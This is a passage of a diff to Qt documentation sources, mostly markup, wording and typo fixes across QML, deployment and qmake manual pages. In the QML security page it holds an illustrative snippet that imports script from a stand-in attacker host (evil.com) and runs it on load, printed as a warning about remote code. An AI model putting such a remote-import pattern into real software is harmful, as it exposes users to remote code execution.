+++ b/doc/src/declarative/qdeclarativemodels.qdoc
@@ -161,7 +161,7 @@ while QAbstractItemModel provides a more flexible solution for more complex
 models.
 
 
-\section2 QStringList
+\section2 QStringList-based model
 
 A model may be a simple QStringList, which provides the contents of the list via the \e modelData role.
 
@@ -182,7 +182,7 @@ have changed.  If the QStringList changes, it will be necessary to reset
 the model by calling QDeclarativeContext::setContextProperty() again.
 
 
-\section2 QList<QObject*>
+\section2 QObjectList-based model
 
 A list of QObject* values can also be used as a model. A QList<QObject*> provides 
 the properties of the objects in the list as roles.
@@ -281,7 +281,7 @@ with models of type QAbstractItemModel:
 \endlist
 
 
-\section2 Exposing C++ data models to QML
+\section2 Exposing C++ Data Models to QML
 
 The above examples use QDeclarativeContext::setContextProperty() to set 
 model values directly in QML components. An alternative to this is to 
@@ -313,7 +313,9 @@ MyModel {
     id: myModel
     ListElement { someProperty: "some value" }
 }
+\endqml
 
+\qml
 ListView {
     width: 200; height: 250
     model: myModel
@@ -504,9 +506,9 @@ a Web browser.
 \l ListView shows a classic list of items with horizontal or vertical placing
 of items.
 
-\beginfloatright
+\div{float-right}
 \inlineimage qml-listview-snippet.png
-\endfloat
+\enddiv
 
 The following example shows a minimal ListView displaying a sequence of
 numbers (using an \l{QML Data Models#An Integer}{integer as a model}).
diff --git a/doc/src/declarative/qdeclarativesecurity.qdoc b/doc/src/declarative/qdeclarativesecurity.qdoc
index 8aa031d..482043c 100644
--- a/doc/src/declarative/qdeclarativesecurity.qdoc
+++ b/doc/src/declarative/qdeclarativesecurity.qdoc
@@ -41,8 +41,12 @@ arbitrary downloaded JavaScript, nor instantiate arbitrary downloaded QML elemen
 For example, this QML content:
 
 \qml
+import QtQuick 1.0
 import "http://evil.com/evil.js" as Evil
-... Evil.doEvil() ...
+
+Component {
+    onLoaded: Evil.doEvil()
+}
 \endqml
 
 is equivalent to downloading "http://evil.com/evil.exe" and running it. The JavaScript execution
diff --git a/doc/src/declarative/qdeclarativestates.qdoc b/doc/src/declarative/qdeclarativestates.qdoc
index c6160c5..6d5aebc 100644
--- a/doc/src/declarative/qdeclarativestates.qdoc
+++ b/doc/src/declarative/qdeclarativestates.qdoc
@@ -71,7 +71,7 @@ of an item, set the \l {Item::}{state} property to the name of the state.
 Non-Item objects can use states through the StateGroup element.
 
 
-\section1 Creating states
+\section1 Creating States
 
 To create a state, add a \l State object to the item's \l {Item::}{states} property,
 which holds a list of states for that item.
@@ -91,7 +91,7 @@ objects, not just the object that owns the state. For example:
 
 \qml
 Rectangle {
-    ...
+    // ...
     states: [
         State {
             name: "moved"
@@ -106,14 +106,7 @@ As a convenience, if an item only has one state, its \l {Item::}{states}
 property can be defined as a single \l State, without the square-brace list
 syntax:
 
-\qml
-Item {
-    ...
-    states: State {
-        ...
-    }
-}
-\endqml
+\snippet doc/src/snippets/declarative/propertyanimation.qml single state
 
 A \l State is not limited to performing modifications on property values. It 
 can also:
@@ -130,7 +123,7 @@ demonstrates how to declare a basic set of states and apply animated
 transitions between them.
 
 
-\section1 The default state
+\section1 The Default State
 
 Of course, the \l Rectangle in the example above could have simply been moved
 by setting its position to (50, 50) in the mouse area's \c onClicked handler.
@@ -146,7 +139,7 @@ like this:
 
 \qml 
 Rectangle {
-    ...
+    // ...
 
     MouseArea {
         id: mouseArea
@@ -154,8 +147,9 @@ Rectangle {
     }
 
     states: State {
-        name: "moved"; when: mouseArea.pressed
-        ...
+        name: "moved"
+        when: mouseArea.pressed
+        // ...
     }
 }
 \endqml 
@@ -171,7 +165,7 @@ using the \l {State::}{when} property, the above code could be changed to:
 
 \qml 
 Rectangle {
-    ...
+    // ...
 
     MouseArea {
         anchors.fill: parent
@@ -181,7 +175,7 @@ Rectangle {
 
     states: State {
         name: "moved"
-        ...
+        // ...
     }
 }
 \endqml 
@@ -191,7 +185,7 @@ as it provides a simpler (and a better, more declarative) solution than
 assigning the state from signal handlers.
 
 
-\section1 Animating state changes
+\section1 Animating State Changes
 
 
 State changes can be easily animated through \l {Transitions}{transitions}. A
@@ -203,12 +197,14 @@ movement of the \l Rectangle would be animated:
 
 \qml
 Rectangle {
-    ...
+    // ...
 
-    MouseArea { ... }
+    MouseArea {
+        // Handle mouse events...
+    }
 
     states: [
-       ...
+       // States are defined here...
     ]
      
     transitions: [
@@ -224,5 +220,4 @@ during a state change within this item, their values should be animated over 500
 milliseconds.
 
 See the \l Transitions documentation for more information.
-
 */
diff --git a/doc/src/declarative/qml-intro.qdoc b/doc/src/declarative/qml-intro.qdoc
index 563dc3b..3f3e0e4 100644
--- a/doc/src/declarative/qml-intro.qdoc
+++ b/doc/src/declarative/qml-intro.qdoc
@@ -61,7 +61,7 @@ The basic syntax of an \l{QML Elements}{element} is
 \qml
 SomeElement {
     id: myObject
-    ... some other things here ...
+    // ... some other things here ...
 }
 \endqml
 
@@ -247,13 +247,17 @@ referencing these properties from another object we use the property
 directly, instead of saying:
 
 \qml
-myRectangle.anchors.top  // Wrong
+Item {
+    anchors.bottom: myRectangle.anchors.top  // Wrong
+}
 \endqml
 
 we use
 
 \qml
-myRectangle.top         // Correct
+Item {
+    anchors.bottom: myRectangle.top         // Correct
+}
 \endqml
 
 
@@ -275,11 +279,7 @@ about the z-axis by 90 degrees in a negative direction, anti-clockwise.
 Rotation of text was also suggested. It could also be useful to scale the
 text. We can do both. The \l {Item::transform}{transform} property is a
 \e list of \l Transform elements, so using the list syntax
-
-\qml
-myList: [ listElement1, listElement2, ... } ]
-\endqml
-
+\c{myList: [ listElement1, listElement2, ... } ]}
 we can produce a list of transformations.
 
 The text will be rotated by 45 degrees anti-clockwise and scaled 
diff --git a/doc/src/declarative/qmlinuse.qdoc b/doc/src/declarative/qmlinuse.qdoc
index 3ab1634..7380ef5 100644
--- a/doc/src/declarative/qmlinuse.qdoc
+++ b/doc/src/declarative/qmlinuse.qdoc
@@ -72,7 +72,7 @@
           </div>
           <!-- tech domains start -->
           <div class="item group">
-            <hr>
+            <hr />
             <div class="secondary">
               <div class="box">
                 <!-- video box -->
@@ -100,7 +100,7 @@
           </div>
           <!-- next -->
           <div class="item group">
-            <hr>
+            <hr />
             <div class="secondary">
               <div class="box">
                 <!-- video box -->
@@ -140,7 +140,7 @@
           </div>
           <!-- next -->
           <div class="item group">
-            <hr>
+            <hr />
             <div class="secondary">
               <div class="box">
                 <!-- video box -->
@@ -185,7 +185,7 @@
           </div>
           <!-- next -->
           <div class="item group">
-            <hr>
+            <hr />
             <div class="secondary">
               <div class="box">
                 <!-- video box -->
@@ -198,7 +198,7 @@
               <!-- video box end -->
             </div>
             <div class="primary">
-              <h2><a name="interactElement">QML Interaction Elements</h2></a>
+              <h2><a name="interactElement">QML Interaction Elements</a></h2>
               <p>
                 These elements define basic interactions such as touch movements and focus management.</p>
               <b>Elements:</b>
@@ -216,7 +216,7 @@
           </div>
           <!-- next -->
           <div class="item group">
-            <hr>
+            <hr />
             <div class="secondary">
               <div class="box">
                 <!-- video box -->
@@ -243,7 +243,7 @@
           </div>
           <!-- next -->
           <div class="item group">
-            <hr>
+            <hr />
             <div class="secondary">
               <div class="box">
                 <!-- video box -->
@@ -276,7 +276,7 @@
           </div>
           <!-- next -->
           <div class="item group">
-            <hr>
+            <hr />
             <div class="secondary">
               <div class="box">
                 <!-- video box -->
@@ -307,7 +307,7 @@
           </div>
           <!-- next -->
           <div class="item group">
-            <hr>
+            <hr />
             <div class="secondary">
               <div class="box">
                 <!-- video box -->
@@ -334,7 +334,7 @@
           </div>
           <!-- next -->
           <div class="item group">
-            <hr>
+            <hr />
             <div class="secondary">
               <div class="box">
                 <!-- video box -->
@@ -372,7 +372,7 @@
           </div>
           <!-- next -->
           <div class="item group">
-            <hr>
+            <hr />
             <div class="secondary">
               <div class="box">
                 <!-- video box -->
@@ -410,7 +410,7 @@
           </div>
           <!-- next -->
           <div class="item group">
-            <hr>
+            <hr />
             <div class="secondary">
               <div class="box">
                 <!-- video box -->
@@ -441,7 +441,7 @@
           </div>
           <!-- next -->
           <div class="item group">
-            <hr>
+            <hr />
             <div class="secondary">
               <div class="box">
                 <!-- video box -->
@@ -468,7 +468,7 @@
           </div>
           <!-- next -->
           <div class="item group">
-            <hr>
+            <hr />
             <div class="secondary">
               <div class="box">
                 <!-- video box -->
diff --git a/doc/src/declarative/qmlviewer.qdoc b/doc/src/declarative/qmlviewer.qdoc
index cfb762c..585b402 100644
--- a/doc/src/declarative/qmlviewer.qdoc
+++ b/doc/src/declarative/qmlviewer.qdoc
@@ -192,6 +192,9 @@ Rectangle {
 }
 \endqml
 
+\note Since Qt Quick 1.1 this information is accessible outside of the QML Viewer,
+through the \c active property of the \l {QML:Qt::application}{Qt.application} object.
+
 \row
 
 \o \c runtime.orientation
diff --git a/doc/src/declarative/qtdeclarative.qdoc b/doc/src/declarative/qtdeclarative.qdoc
index 05dac52..4a6f6a9 100644
--- a/doc/src/declarative/qtdeclarative.qdoc
+++ b/doc/src/declarative/qtdeclarative.qdoc
@@ -56,7 +56,7 @@
   \macro QML_DECLARE_TYPE()
   \relates QDeclarativeEngine
 
-  Equivalent to \c Q_DECLARE_METATYPE(TYPE) and \c Q_DECLARE_METATYPE(QDeclarativeListProperty<TYPE>)
+  Equivalent to \c Q_DECLARE_METATYPE(TYPE *) and \c Q_DECLARE_METATYPE(QDeclarativeListProperty<TYPE>)
 
   #include <QtDeclarative> to use this macro.
 */
@@ -85,6 +85,21 @@
 
   Returns the QML type id.
 
+  There are two forms of this template function:
+
+  \code
+  template<typename T>
+  int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const char *qmlName);
+
+  template<typename T, int metaObjectRevision>
+  int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const char *qmlName);
+  \endcode
+
+  The former is the standard form which registers the type \e T as a new type.
+  The latter allows a particular revision of a class to be registered in
+  a specified version (see \l {QML Type Versioning}).
+
+
   For example, this registers a C++ class \c MySliderItem as a QML type
   named \c Slider for version 1.0 of a \l{QML Modules}{module} called
   "com.mycompany.qmlcomponents":
@@ -103,7 +118,9 @@
   \qml
   import com.mycompany.qmlcomponents 1.0
 
-  Slider { ... }
+  Slider {
+      // ...
+  }
   \endqml
 
   Note that it's perfectly reasonable for a library to register types to older versions
diff --git a/doc/src/declarative/qtprogrammers.qdoc b/doc/src/declarative/qtprogrammers.qdoc
index 7895c9f..b7d09a1 100644
--- a/doc/src/declarative/qtprogrammers.qdoc
+++ b/doc/src/declarative/qtprogrammers.qdoc
@@ -103,7 +103,7 @@ So, to implement your reusable button, you would simply build a QML component.
 
 Parent widgets each provide a generic way to interface to one or more arbitrary other widgets.
 A QTabWidget provides an interface to multiple "pages", one of which is visible at any time,
-and a mechanism for selecting among them (the QTabBar). A QScollArea provides scrollbars around
+and a mechanism for selecting among them (the QTabBar). A QScrollArea provides scrollbars around
 a widget that is otherwise too large to fit in available space.
 
 Nearly all such components can be created directly in QML. Only a few cases
diff --git a/doc/src/declarative/tutorial.qdoc b/doc/src/declarative/tutorial.qdoc
index b9ae913..1ee5e61 100644
--- a/doc/src/declarative/tutorial.qdoc
+++ b/doc/src/declarative/tutorial.qdoc
@@ -94,7 +94,7 @@ We add a \l Text element as a child of the root Rectangle element that displays
 The \c y property is used to position the text vertically at 30 pixels from the top of its parent.
 
 The \c anchors.horizontalCenter property refers to the horizontal center of an element.
-In this case, we specify that our text element should be horizontally centered in the \e page element (see \l{anchor-layout}{Anchor-based Layout}).
+In this case, we specify that our text element should be horizontally centered in the \e page element (see \l{anchor-layout}{Anchor-Based Layout}).
 
 The \c font.pointSize and \c font.bold properties are related to fonts and use the \l{dot properties}{dot notation}.
 
@@ -156,7 +156,7 @@ We will use this signal to change the color of the text in the main QML file lat
 Our cell component is basically a colored rectangle with the \c id \e rectangle.
 
 The \c anchors.fill property is a convenient way to set the size of an element.
-In this case the rectangle will have the same size as its parent (see \l{anchor-layout}{Anchor-based Layout}).
+In this case the rectangle will have the same size as its parent (see \l{anchor-layout}{Anchor-Based Layout}).
 
 \snippet examples/declarative/tutorials/helloworld/Cell.qml 3
 
diff --git a/doc/src/declarative/whatsnew.qdoc b/doc/src/declarative/whatsnew.qdoc
index a3ba522..f4359f9 100644
--- a/doc/src/declarative/whatsnew.qdoc
+++ b/doc/src/declarative/whatsnew.qdoc
@@ -29,7 +29,113 @@
 \title What's new in Qt Quick
 \page qtquick-whatsnew.html
 
-\section1 4.7.1
+\section1 Qt 4.7.3 includes QtQuick 1.1
+
+QtQuick 1.1 is a minor feature update.
+
+\section2 PinchArea
+
+PinchArea provides support for the common two finger pinch gesture.
+
+\section2 Text
+
+Added the following properties:
+\list
+\o lineSpacing
+\o lineCount
+\o maximumLineCount
+\o truncated
+\endlist
+
+horizontalAlignment now accepts Text.AlignJustify alignment mode.
+
+\section2 TextEdit
+
+Added the following properties, methods and signal handlers:
+\list
+\o canPaste
+\o lineCount
+\o deselect()
+\o moveCursorSelection(int pos, SelectionMode mode) to enable selection by word
+\o onLinkActivated(string link) 
+\endlist
+
+\section2 TextInput
+
+Added the following properties and methods:
+\list
+\o canPaste
+\o deselect()
+\o moveCursorSelection(int pos, SelectionMode mode) to enable selection by word
+\endlist
+
+\section2 Image, BorderImage and AnimatedImage
+
+Added the following properties:
+\list
+\o cache
+\o mirror
+\endlist
+
+\section2 Item
+
+Added the following properties:
+\list
+\o implicitWidth and implicitHeight
+\endlist
+
+\section2 Flickable
+
+Added the following methods:
+\list
+\o resizeContent(qreal w, qreal h, QPointF center)
+\o returnToBounds() 
+\endlist
+
+\section2 ListView and GridView
+
+Added the following methods:
+\list
+\o positionViewAtBeginning()
+\o positionViewAtEnd() 
+\endlist
+
+\section2 Flow, Grid, Row
+
+Added the following properties:
+\list
+\o layoutDirection
+\endlist
+
+\section2 Repeater
+
+Added the following methods and signal handlers:
+\list
+\o onItemAdded()
+\o onItemRemoved()
+\o itemAt(int index)
+\endlist
+
+\section2 Component
+
+The createObject() method now accepts a map of initial property values for the created object.
+
+\section2 Qt
+
+Added the following properties and methods:
+\list
+\o application.layoutDirection
+\o application.active
+\endlist
+
+\section2 Other changes
+
+\list
+\o Functions can be assigned to properties from JavaScript to create property bindings
+\endlist
+
+
+\section1 Qt 4.7.1
 
 \section2 QtQuick namespace
 
diff --git a/doc/src/demos/mediaplayer.qdoc b/doc/src/demos/mediaplayer.qdoc
index 11fc110..3eeb313 100644
--- a/doc/src/demos/mediaplayer.qdoc
+++ b/doc/src/demos/mediaplayer.qdoc
@@ -32,5 +32,5 @@
     The Media Player demonstration shows how \l{Phonon Module}{Phonon}
     can be used in Qt applications to handle audio and video playback.
 
-    \image mediaplayer-demo.png
+    \image qmediaplayer-demo.png
 */
diff --git a/doc/src/deployment/deployment.qdoc b/doc/src/deployment/deployment.qdoc
index 4817058..bc80ed3 100644
--- a/doc/src/deployment/deployment.qdoc
+++ b/doc/src/deployment/deployment.qdoc
@@ -1550,8 +1550,8 @@
     \note If you want to have your application properly Symbian Signed for distribution,
     you will have to properly sign both the application and the application installer packages.
     Please see
-    \l{http://developer.symbian.org/wiki/index.php/Category:Symbian_Signed}
-    {Symbian Signed wiki} for more information about Symbian Signed.
+    \l{http://wiki.forum.nokia.com/index.php/Category:Symbian_Signed}
+    {Forum Nokia Wiki} for more information about Symbian Signed.
 
     For more information about creating a \c .sis file and installing it to device see also
     \l {The Symbian platform - Introduction to Qt#Installing your own applications}{here}.
diff --git a/doc/src/development/developing-with-qt.qdoc b/doc/src/development/developing-with-qt.qdoc
index 3971f3e..870d47c 100644
--- a/doc/src/development/developing-with-qt.qdoc
+++ b/doc/src/development/developing-with-qt.qdoc
@@ -28,7 +28,7 @@
 /*!
     \page developing-with-qt.html
     
-    \title Cross-platform & Platform-specific Development
+    \title Cross-Platform and Platform-Specific Development
 	Qt allows you to write advanced applications and UIs once, and deploy them
 	across desktop and embedded operating systems without rewriting the source
 	code. The top section of this page provides an overview of the tools and
@@ -37,7 +37,7 @@
 	links to documents that describe platform-specific features provided by Qt,
 	and discuss issues related to particular platforms and environments.
 
-	\section1 Cross-platform Development with Qt
+    \section1 Cross-Platform Development with Qt
 
     Qt is provided with a set of build tools to help developers automate
     the process of building and installing Qt applications.
@@ -68,7 +68,7 @@
     \endlist
     \endtable
 	
-	\section1 Platform-specific Development with Qt
+	\section1 Platform-Specific Development with Qt
 	
     These documents describe platform-specific features provided by Qt, and
     discuss issues related to particular platforms and environments.
@@ -110,6 +110,4 @@
         \o  Collections of notes about Qt implementations on different window systems.
     \endlist
     \endtable
-	
-	
 */
diff --git a/doc/src/development/qmake-manual.qdoc b/doc/src/development/qmake-manual.qdoc
index 416515e..373254c 100644
--- a/doc/src/development/qmake-manual.qdoc
+++ b/doc/src/development/qmake-manual.qdoc
@@ -34,26 +34,26 @@
     \ingroup qttools
     \keyword qmake
 
-    \c qmake is a tool that helps simplify the build
-    process for development project across different platforms.  \c qmake
+    \l {qmake}{ \c qmake} is a tool that helps simplify the build
+    process for development project across different platforms.  \l {qmake}{ \c qmake}
     automates the generation of Makefiles so that only a few lines of
-    information are needed to create each Makefile. \c qmake can be used for
+    information are needed to create each Makefile. \l {qmake}{ \c qmake} can be used for
     any software project, whether it is written in Qt or not.
 
-    \c qmake generates a Makefile based on the information in a project
+    \l {qmake}{ \c qmake} generates a Makefile based on the information in a project
     file.  Project files are created by the developer, and are usually
     simple, but more sophisticated project files can be created for
     complex projects.
-    \c qmake contains additional features to support development with Qt,
+    \l {qmake}{ \c qmake} contains additional features to support development with Qt,
     automatically including build rules for \l{moc.html}{moc}
     and \l{uic.html}{uic}.
-    \c qmake can also generate projects for Microsoft Visual studio
+    \l {qmake}{ \c qmake} can also generate projects for Microsoft Visual studio
     without requiring the developer to change the project file.
 
     \section1 Getting Started
 
     The \l{qmake Tutorial} and guide to \l{qmake Common Projects} provide overviews
-    that aim to help new users get started with \c qmake.
+    that aim to help new users get started with \l {qmake}{ \c qmake}.
 
     \list
     \o \l{qmake Tutorial}
@@ -98,22 +98,22 @@
     \previouspage qmake Manual
     \nextpage qmake Project Files
 
-    \c qmake provides a project-oriented system for managing the build
+    \l {qmake}{ \c qmake} provides a project-oriented system for managing the build
     process for applications, libraries, and other components. This
     approach gives developers control over the source files used, and
     allows each of the steps in the process to be described concisely,
-    typically within a single file. \c qmake expands the information in
+    typically within a single file. \l {qmake}{ \c qmake} expands the information in
     each project file to a Makefile that executes the necessary commands
     for compiling and linking.
 
     In this document, we provide a basic introduction to project files,
-    describe some of the main features of \c qmake, and show how to use
-    \c qmake on the command line.
+    describe some of the main features of \l {qmake}{ \c qmake}, and show how to use
+    \l {qmake}{ \c qmake} on the command line.
 
     \section1 Describing a Project
 
     Projects are described by the contents of project (\c .pro) files.
-    The information within these is used by \c qmake to generate a Makefile
+    The information within these is used by \l {qmake}{ \c qmake} to generate a Makefile
     containing all the commands that are needed to build each project.
     Project files typically contain a list of source and header files,
     general configuration information, and any application-specific details,
@@ -134,12 +134,12 @@
 
     \section1 Building a Project
 
-    For simple projects, you only need to run \c qmake in the top
-    level directory of your project. By default, \c qmake generates a
+    For simple projects, you only need to run \l {qmake}{ \c qmake} in the top
+    level directory of your project. By default, \l {qmake}{ \c qmake} generates a
     Makefile that you then use to build the project, and you can then
     run your platform's \c make tool to build the project.
 
-    \c qmake can also be used to generate project files. A full
+    \l {qmake}{ \c qmake} can also be used to generate project files. A full
     description of \c{qmake}'s command line options can be found in the
     \l{Running qmake} chapter of this manual.
 
@@ -157,7 +157,7 @@
     \previouspage Using qmake
     \nextpage Running qmake
 
-    Project files contain all the information required by \c qmake to build
+    Project files contain all the information required by \l {qmake}{ \c qmake} to build
     your application, library, or plugin. The resources used by your project
     are generally specified using a series of declarations, but support for
     simple programming constructs allow you to describe different build
@@ -167,7 +167,7 @@
 
     \section1 Project File Elements
 
-    The project file format used by \c qmake can be used to support both
+    The project file format used by \l {qmake}{ \c qmake} can be used to support both
     simple and fairly complex build systems. Simple project files will
     use a straightforward declarative style, defining standard variables
     to indicate the source and header files that are used in the project.
@@ -180,14 +180,14 @@
     \section2 Variables
 
     In a project file, variables are used to hold lists of strings.
-    In the simplest projects, these variables inform \c qmake about the
+    In the simplest projects, these variables inform \l {qmake}{ \c qmake} about the
     configuration options to use, or supply filenames and paths to use
     in the build process.
 
-    \c qmake looks for certain variables in each project file, and it
+    \l {qmake}{ \c qmake} looks for certain variables in each project file, and it
     uses the contents of these to determine what it should write to a
     Makefile. For example, the list of values in the \c HEADERS and
-    \c SOURCES variables are used to tell \c qmake about header and
+    \c SOURCES variables are used to tell \l {qmake}{ \c qmake} about header and
     source files in the same directory as the project file.
 
     Variables can also be used internally to store temporary lists of values,
@@ -206,13 +206,13 @@
 
     \snippet doc/src/snippets/qmake/variables.pro 1
 
-    The \c CONFIG variable is another special variable that \c qmake
+    The \c CONFIG variable is another special variable that \l {qmake}{ \c qmake}
     uses when generating a Makefile. It is discussed in the section on
     \l{#GeneralConfiguration}{general configuration} later in this chapter.
     In the above line, \c qt is added to the list of existing values
     contained in \c CONFIG.
 
-    The following table lists the variables that \c qmake recognizes, and
+    The following table lists the variables that \l {qmake}{ \c qmake} recognizes, and
     describes what they should contain.
 
     \table
@@ -276,7 +276,7 @@
 
     \section2 Built-in Functions and Control Flow
 
-    \c qmake provides a number of built-in functions to allow the contents
+    \l {qmake}{ \c qmake} provides a number of built-in functions to allow the contents
     of variables to be processed. The most commonly used function in simple
     project files is the \c include function which takes a filename as an
     argument. The contents of the given file are included in the project
@@ -295,7 +295,7 @@
     The assignments inside the braces are only made if the condition is
     true. In this case, the special \c win32 variable must be set; this
     happens automatically on Windows, but this can also be specified on
-    other platforms by running \c qmake with the \c{-win32} command line
+    other platforms by running \l {qmake}{ \c qmake} with the \c{-win32} command line
     option (see \l{Running qmake} for more information). The opening
     brace must stand on the same line as the condition.
 
@@ -316,15 +316,15 @@
     \section1 Project Templates
 
     The \c TEMPLATE variable is used to define the type of project that will
-    be built. If this is not declared in the project file, \c qmake assumes
+    be built. If this is not declared in the project file, \l {qmake}{ \c qmake} assumes
     that an application should be built, and will generate an appropriate
     Makefile (or equivalent file) for the purpose.
 
     The types of project available are listed in the following table with
-    information about the files that \c qmake will generate for each of them:
+    information about the files that \l {qmake}{ \c qmake} will generate for each of them:
 
     \table
-    \header \o Template      \o Description of \c qmake output
+    \header \o Template      \o Description of \l {qmake}{ \c qmake}output
     \row    \o app (default) \o Creates a Makefile to build an application.
     \row    \o lib           \o Creates a Makefile to build a library.
     \row    \o subdirs       \o Creates a Makefile containing rules for the
@@ -339,7 +339,7 @@
     See the \l{qmake Tutorial} for advice on writing project files for
     projects that use the \c app and \c lib templates.
 
-    When the \c subdirs template is used, \c qmake generates a Makefile
+    When the \c subdirs template is used, \l {qmake}{ \c qmake} generates a Makefile
     to examine each specified subdirectory, process any project file it finds
     there, and run the platform's \c make tool on the newly-created Makefile.
     The \l{qmake Variable Reference#SUBDIRS}{SUBDIRS} variable is used to
@@ -351,7 +351,7 @@
     The \l{qmake Variable Reference#CONFIG}{CONFIG variable} specifies the
     options and features that the compiler should use and the libraries that
     should be linked against. Anything can be added to the \c CONFIG variable,
-    but the options covered below are recognized by \c qmake internally.
+    but the options covered below are recognized by \l {qmake}{ \c qmake} internally.
 
     The following options control the compiler flags that are used to build the
     project:
@@ -380,7 +380,7 @@
 
     The \c debug_and_release option is special in that it enables \e both debug and
     release versions of a project to be built. In such a case, the Makefile that
-    \c qmake generates includes a rule that builds both versions, and this can be
+    \l {qmake}{ \c qmake} generates includes a rule that builds both versions, and this can be
     invoked in the following way:
 
     \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 0
@@ -428,7 +428,7 @@
 
     \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 1
 
-    Note, that you must use "+=", not "=", or \c qmake will not be able to
+    Note, that you must use "+=", not "=", or \l {qmake}{ \c qmake} will not be able to
     use Qt's configuration to determine the settings needed for your project.
 
     \section1 Declaring Qt Libraries
@@ -478,13 +478,13 @@
 
     \section1 Configuration Features
 
-    \c qmake can be set up with extra configuration features that are specified
+    \l {qmake}{ \c qmake} can be set up with extra configuration features that are specified
     in feature (.prf) files. These extra features often provide support for
     custom tools that are used during the build process. To add a feature to
     the build process, append the feature name (the stem of the feature filename)
     to the \c CONFIG variable.
 
-    For example, \c qmake can configure the build process to take advantage
+    For example, \l {qmake}{ \c qmake} can configure the build process to take advantage
     of external libraries that are supported by
     \l{http://www.freedesktop.org/wiki/Software_2fpkgconfig}{pkg-config},
     such as the D-Bus and ogg libraries, with the following lines:
@@ -501,7 +501,7 @@
     If you are using other libraries in your project in addition to those
     supplied with Qt, you need to specify them in your project file.
 
-    The paths that \c qmake searches for libraries and the specific libraries
+    The paths that \l {qmake}{ \c qmake} searches for libraries and the specific libraries
     to link against can be added to the list of values in the
     \l{qmake Variable Reference#LIBS}{LIBS} variable. The paths to the libraries
     themselves can be given, or the familiar Unix-style notation for specifying
@@ -527,7 +527,7 @@
     \previouspage qmake Project Files
     \nextpage qmake Platform Notes
 
-    The behavior of \c qmake can be customized when it is run by
+    The behavior of \l {qmake}{ \c qmake} can be customized when it is run by
     specifying various options on the command line. These allow the
     build process to be fine-tuned, provide useful diagnostic
     information, and can be used to specify the target platform for
@@ -540,13 +540,13 @@
 
     \section2 Syntax
 
-    The syntax used to run \c qmake takes the following simple form:
+    The syntax used to run \l {qmake}{ \c qmake} takes the following simple form:
 
     \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 8
 
-    \c qmake supports two different modes of operation: In the default mode,
-    \c qmake will use the description in a project file to generate a Makefile,
-    but it is also possible to use \c qmake to generate project files.
+    \l {qmake}{ \c qmake} supports two different modes of operation: In the default mode,
+    \l {qmake}{ \c qmake} will use the description in a project file to generate a Makefile,
+    but it is also possible to use \l {qmake}{ \c qmake} to generate project files.
     If you want to explicitly set the mode, you must specify it before all
     other options. The \c mode can be either of the following two values:
 
@@ -555,7 +555,8 @@
         \c qmake output will be a Makefile.
     \o \c -project \BR
         \c qmake output will be a project file. \BR
-\bold{Note:} It is likely that the created file will need to be edited for example adding the \c QT variable to suit what modules are required for the project.
+    \bold{Note:} It is likely that the created file will need to be edited; for example,
+    adding the \c QT variable to suit what modules are required for the project.
     \endlist
 
     The following \c options are used to specify both general and mode-specific
@@ -569,10 +570,10 @@
 
     \section2 Options
 
-    A wide range of options can be specified on the command line to \c qmake in
+    A wide range of options can be specified on the command line to \l {qmake}{ \c qmake} in
     order to customize the build process, and to override default settings for
     your platform. The following basic options provide usage information, specify
-    where \c qmake writes the output file, and control the level of debugging
+    where \l {qmake}{ \c qmake} writes the output file, and control the level of debugging
     information that will be written to the console:
 
     \list
@@ -588,7 +589,7 @@
     \endlist
 
     For projects that need to be built differently on each target platform, with
-    many subdirectories, you can run \c qmake with each of the following
+    many subdirectories, you can run \l {qmake}{ \c qmake} with each of the following
     options to set the corresponding platform-specific variable in each
     project file:
 
@@ -642,7 +643,7 @@
 
     \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 9
 
-    In Makefile mode, \c qmake will generate a Makefile that is used to build the
+    In Makefile mode, \l {qmake}{ \c qmake} will generate a Makefile that is used to build the
     project. Additionally, the following options may be used in this mode to
     influence the way the project file is generated:
 
@@ -662,7 +663,7 @@
        and the value of \c QMAKESPEC will be ignored.
     \endlist
 
-    You may also pass \c qmake assignments on the command line;
+    You may also pass \l {qmake}{ \c qmake} assignments on the command line;
     they will be processed before all of the files specified. For example:
 
     \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 10
@@ -683,7 +684,7 @@
 
     \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 12
 
-    In project mode, \c qmake will generate a project file. Additionally, you
+    In project mode, \l {qmake}{ \c qmake} will generate a project file. Additionally, you
     may supply the following options in this mode:
 
     \list
@@ -714,7 +715,7 @@
 
     Many cross-platform projects can be handled by the \c{qmake}'s basic
     configuration features. On some platforms, it is sometimes useful, or even
-    necessary, to take advantage of platform-specific features. \c qmake knows
+    necessary, to take advantage of platform-specific features. \l {qmake}{ \c qmake} knows
     about many of these features, and these can be accessed via specific
     variables that only have an effect on the platforms where they are relevant.
 
@@ -727,15 +728,15 @@
 
     \section2 Source and Binary Packages
 
-    The version of \c qmake supplied in source packages is configured slightly
+    The version of \l {qmake}{ \c qmake} supplied in source packages is configured slightly
     differently to that supplied in binary packages in that it uses a different
     feature specification. Where the source package typically uses the
     \c macx-g++ specification, the binary package is typically configured to
     use the \c macx-xcode specification.
 
-    Users of each package can override this configuration by invoking \c qmake
+    Users of each package can override this configuration by invoking \l {qmake}{ \c qmake}
     with the \c -spec option (see \l{Running qmake} for more information). This
-    makes it possible, for example, to use \c qmake from a binary package to
+    makes it possible, for example, to use \l {qmake}{ \c qmake} from a binary package to
     create a Makefile in a project directory with the following command line
     invocation:
 
@@ -743,7 +744,7 @@
 
     \section2 Using Frameworks
 
-    \c qmake is able to automatically generate build rules for linking against
+    \l {qmake}{ \c qmake} is able to automatically generate build rules for linking against
     frameworks in the standard framework directory on Mac OS X, located at
     \c{/Library/Frameworks/}.
 
@@ -803,7 +804,7 @@
 
     The architectures to be supported in the binary are specified with the
     \l{qmake Variable Reference#CONFIG}{CONFIG} variable. For example, the
-    following assignment causes \c qmake to generate build rules to create
+    following assignment causes \l {qmake}{ \c qmake} to generate build rules to create
     a universal binary for both PowerPC and x86 architectures:
 
     \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 18
@@ -818,12 +819,12 @@
     Developers on Mac OS X can take advantage of \c{qmake}'s support for Xcode
     project files, as described in
     \l{Qt is Mac OS X Native#Development Tools}{Qt is Mac OS X Native},
-    by running \c qmake to generate an Xcode project from an existing \c qmake
